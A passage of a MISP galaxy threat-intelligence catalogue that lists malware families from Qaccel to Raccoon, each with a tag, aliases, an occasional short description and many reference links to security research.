https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx
https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/

Qaccel

The tag is: *misp-galaxy:malpedia="Qaccel"*

Qaccel is also known as:

Table 2893. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel

Qadars

The tag is: *misp-galaxy:malpedia="Qadars"*

Qadars is also known as:

Table 2894. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.johannesbader.ch/2016/04/the-dga-of-qadars/
https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan
https://securityintelligence.com/an-analysis-of-the-qadars-trojan/
https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/
https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/

QakBot

QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.

The tag is: *misp-galaxy:malpedia="QakBot"*

QakBot is also known as:

- Oakboat
- Pinkslipbot
- Qbot
- Quakbot

Table 2895. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot
https://securelist.com/qakbot-technical-analysis/103931/
https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf
https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks
https://www.malwarology.com/posts/3-qakbot-process-injection/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/
https://twitter.com/TheDFIRReport/status/1361331598344478727
https://www.circl.lu/pub/tr-64/
https://malwareandstuff.com/upnp-messing-up-security-since-years/
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/
https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html
https://www.group-ib.com/blog/prolock_evolution
https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html
https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/
https://www.malwarology.com/posts/1-qakbot-strings-obfuscation/
https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
https://twitter.com/Unit42_Intel/status/1461004489234829320
https://www.secureworks.com/research/threat-profiles/gold-lagoon
https://www.elastic.co/security-labs/qbot-configuration-extractor
https://www.trendmicro.com/en_us/research/21/l/staging-a-quack-reverse-analyzing-fileless-qakbot-stager.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://blog.group-ib.com/prometheus-tds
https://twitter.com/*alex_il*/status/1384094623270727685[https://twitter.com/*alex_il*/status/1384094623270727685]
https://www.um.edu.mt/library/oar/handle/123456789/76802

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf
http://contagiodump.blogspot.com/2010/11/template.html
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
https://www.malwarology.com/2022/04/qakbot-series-process-injection/
https://blog.quosec.net/posts/grap_qakbot_strings/
https://documents.trendmicro.com/assets/pdf/Technical-Brief---The-Prelude-to-Ransomware-A-Look-into-Current-QAKBOT-Capabilities-and-Activity.pdf
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://quosecgmbh.github.io/blog/grap_qakbot_navigation.html
https://www.malwarology.com/posts/4-qakbot-api-hashing/
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf
https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks
https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf
https://quosecgmbh.github.io/blog/grap_qakbot_strings.html
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://redcanary.com/blog/intelligence-insights-december-2021
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.group-ib.com/blog/egregor
https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken—the-resurgence-of-the-emotet-botnet-malw.html
https://www.bleepingcomputer.com/news/security/qbot-malware-switches-to-new-windows-installer-infection-vector/
https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html

https://twitter.com/kienbigmummy/status/1460537501676802051
https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/
https://isc.sans.edu/diary/rss/26862
https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs
https://blog.reversinglabs.com/blog/spotting-malicious-excel4-macros
https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike
https://research.checkpoint.com/2020/exploring-qbots-latest-attack-methods/
https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/
https://seguranca-informatica.pt/a-taste-of-the-latest-release-of-qakbot
https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta
https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-1/
https://www.bleepingcomputer.com/news/security/qbot-needs-only-30-minutes-to-steal-your-credentials-emails/
https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot
https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan
https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://blog.quosec.net/posts/grap_qakbot_navigation/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf
https://experience.mandiant.com/trending-evil/p/1
https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-3/
https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/

https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html
https://www.youtube.com/watch?v=4I0LF8Vm7SI
https://isc.sans.edu/diary/rss/28728
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf
https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware
https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7
https://hatching.io/blog/reversing-qakbot
https://redcanary.com/blog/intelligence-insights-november-2021/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/
https://twitter.com/tylabs/status/1462195377277476871
https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.elastic.co/de/security-labs/qbot-malware-analysis
https://isc.sans.edu/diary/rss/28568
https://twitter.com/Corvid_Cyber/status/1455844008081641472
https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/
https://www.elastic.co/security-labs/qbot-malware-analysis
https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/
https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html
https://socprime.com/blog/qbot-malware-detection-old-dog-new-tricks/
https://www.zscaler.com/blogs/security-research/rise-qakbot-attacks-traced-evolving-threat-techniques
https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://www.techtimes.com/articles/274190/20220412/qbot-botnet-deploys-malware-payloads-through-malicious-windows-installers.htm

https://www.socinvestigation.com/qbot-spreads-via-lnk-files-detection-response/
https://www.atomicmatryoshka.com/post/malware-headliners-qakbot
https://www.malwarology.com/2022/04/qakbot-series-api-hashing/
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex
https://intel471.com/blog/conti-emotet-ransomware-conti-leaks
https://www.youtube.com/watch?v=iB1psRMtlqg
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-countermeasures/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://madlabs.dsu.edu/madrid/blog/2021/04/30/qbot-analyzing-php-proxy-scripts-from-compromised-web-server/
https://www.malwarology.com/2022/04/qakbot-series-string-obfuscation/
https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html
https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7
https://isc.sans.edu/forums/diary/XLSB+Files+Because+Binary+is+Stealthier+Than+XML/28476/
https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/
https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf
https://blog.morphisec.com/qakbot-qbot-maldoc-two-new-techniques
https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html
https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/demystifying-qbot-malware.html
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
http://www.secureworks.com/research/threat-profiles/gold-lagoon

https://raw.githubusercontent.com/NtQuerySystemInformation/Malware-RE-papers/main/Qakbot%20report.pdf
https://news.sophos.com/en-us/2022/03/10/qakbot-injects-itself-into-the-middle-of-your-conversations/
https://www.intrinsec.com/egregor-prolock/
https://drive.google.com/file/d/1mO2Zb-Q94t39DvdASd4KNTPBD8JdkyC3/view
https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf
https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/
https://blog.talosintelligence.com/2019/05/qakbot-levels-up-with-new-obfuscation.html
https://www.fortinet.com/blog/threat-research/new-variant-of-qakbot-spread-by-phishing-emails
https://twitter.com/ChouchWard/status/1405168040254316547
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf
https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/
https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern
https://www.youtube.com/watch?v=M22c1JgpG-U
https://isc.sans.edu/diary/rss/28448
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://www.bitsight.com/blog/emotet-botnet-rises-again
https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/
https://experience.mandiant.com/trending-evil-2/p/1
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://perception-point.io/insights-into-an-excel-4-0-macro-attack-using-qakbot-malware
https://twitter.com/elisalem9/status/1381859965875462144
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.linkedin.com/posts/zayedaljaberi_hunting-recent-qakbot-malware-activity-6903498764984606720-2Gl4
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://www.silentpush.com/blog/malicious-infrastructure-as-a-service
https://www.malwarology.com/2022/04/qakbot-series-configuration-extraction/
https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/

https://www.malwarology.com/posts/2-qakbot-conf-extraction/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://twitter.com/redcanary/status/1334224861628039169
https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf
https://securityintelligence.com/news/qbot-malware-using-windows-defender-antivirus-lure/

QHost

The tag is: *misp-galaxy:malpedia="QHost"*

QHost is also known as:

- Tolouge

Table 2896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost

QtBot

The tag is: *misp-galaxy:malpedia="QtBot"*

QtBot is also known as:

- qtproject

Table 2897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot
https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

QuantLoader

The tag is: *misp-galaxy:malpedia="QuantLoader"*

QuantLoader is also known as:

Table 2898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/
https://twitter.com/Arkbird_SOLG/status/1458973883068043264
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/

Quasar RAT

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

The tag is: *misp-galaxy:malpedia="Quasar RAT"*

Quasar RAT is also known as:

- CinaRAT
- QuasarRAT
- Yggdrasil

Table 2899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign
https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/
https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers
https://blog.qualys.com/vulnerabilities-threat-research/2022/07/29/new-qualys-research-report-evolution-of-quasar-rat
https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-

https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/
https://blog.minerva-labs.com/trapping-quasar-rat
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite
https://twitter.com/struppigel/status/1130455143504318466
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html
https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/
https://www.antiy.cn/research/notice&report/research_report/20201228.html
https://www.bleepingcomputer.com/news/security/trojanized-dnspy-app-drops-malware-cocktail-on-researchers-devs/
https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass
https://securelist.com/apt-trends-report-q1-2021/101967/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://medium.com/cycraft/supply-chain-attack-targeting-taiwan-financial-sector-bae2f0962934
https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848
https://blog.morphisec.com/cinarat-resurfaces-with-new-evasive-tactics-and-techniques
https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html
https://blog.rootshell.be/2022/02/11/sans-isc-cinarat-delivered-through-html-id-attributes/
https://medium.com/cycraft/china-implicated-in-prolonged-supply-chain-attack-targeting-taiwan-financial-sector-264b6a1c3525
https://blog.reversinglabs.com/blog/rats-in-the-library
https://blog.malwarelab.pl/posts/venom/
https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments
https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf
https://intel471.com/blog/privateloader-malware
https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf
https://blog.ensilo.com/uncovering-new-activity-by-apt10
https://twitter.com/malwrhunterteam/status/789153556255342596
https://asec.ahnlab.com/en/31089/
https://www.bleepingcomputer.com/news/security/malware-now-using-nvidias-stolen-code-signing-certificates/
https://blog.morphisec.com/syk-crypter-discord
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?
https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ
https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage

https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass
https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

QuickHeal

The tag is: *misp-galaxy:malpedia="QuickHeal"*

QuickHeal is also known as:

Table 2900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42

QUICKMUTE

QuickMute is a malware developed using the C/C++ programming language. Functionally provides download, RC4 decryption, and in-memory launch of the payload (waiting for a PE file with the export function "HttpsVictimMain"). To communicate with the management server, a number of protocols are provided, in particular: TCP, UDP, HTTP, HTTPS.

The tag is: *misp-galaxy:malpedia="QUICKMUTE"*

QUICKMUTE is also known as:

Table 2901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute
https://cert.gov.ua/article/375404

QuietSieve

According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.

The tag is: *misp-galaxy:malpedia="QuietSieve"*

QuietSieve is also known as:

Table 2902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quietsieve
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

Qulab

Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.

The tag is: *misp-galaxy:malpedia="Qulab"*

Qulab is also known as:

Table 2903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab
https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/

QvoidStealer

The tag is: *misp-galaxy:malpedia="QvoidStealer"*

QvoidStealer is also known as:

- Qvoid-Token-Grabber

Table 2904. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qvoidstealer
https://github.com/Enum0x539/Qvoid-Token-Grabber

r980

The tag is: *misp-galaxy:malpedia="r980"*

r980 is also known as:

Table 2905. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.r980
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/

Raccoon

Raccoon Stealer is a malware reportedly sold for $75 a week or $200 a month. It gathers personal information including passwords, browser cookies and autofill data, as well as cryptowallet details. Additionally, Raccoon Stealer records system information such as IP addresses and geo-location data.

The tag is: *misp-galaxy:malpedia="Raccoon"*

Raccoon is also known as:

- Mohazo
- RaccoonStealer
- Racealer
- Racoon

Table 2906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon
https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/
https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/
https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/
https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/
https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer
https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/
https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/
https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf
https://twitter.com/GroupIB_GIB/status/1570821174736850945
https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/
https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/
https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block
https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf
https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/
https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/
https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/
https://www.group-ib.com/blog/fakesecurity_raccoon
https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d
https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html
https://www.youtube.com/watch?v=5KHZSmBeMps
https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://www.riskiq.com/blog/labs/magecart-medialand/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf
https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/
https://www.youtube.com/watch?v=1dbepxN2YD8
https://d01a.github.io/raccoon-stealer/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/
https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d
https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://asec.ahnlab.com/en/35981/
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://asec.ahnlab.com/ko/25837/
https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram

https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949
https://ke-la.com/information-stealers-a-new-landscape/
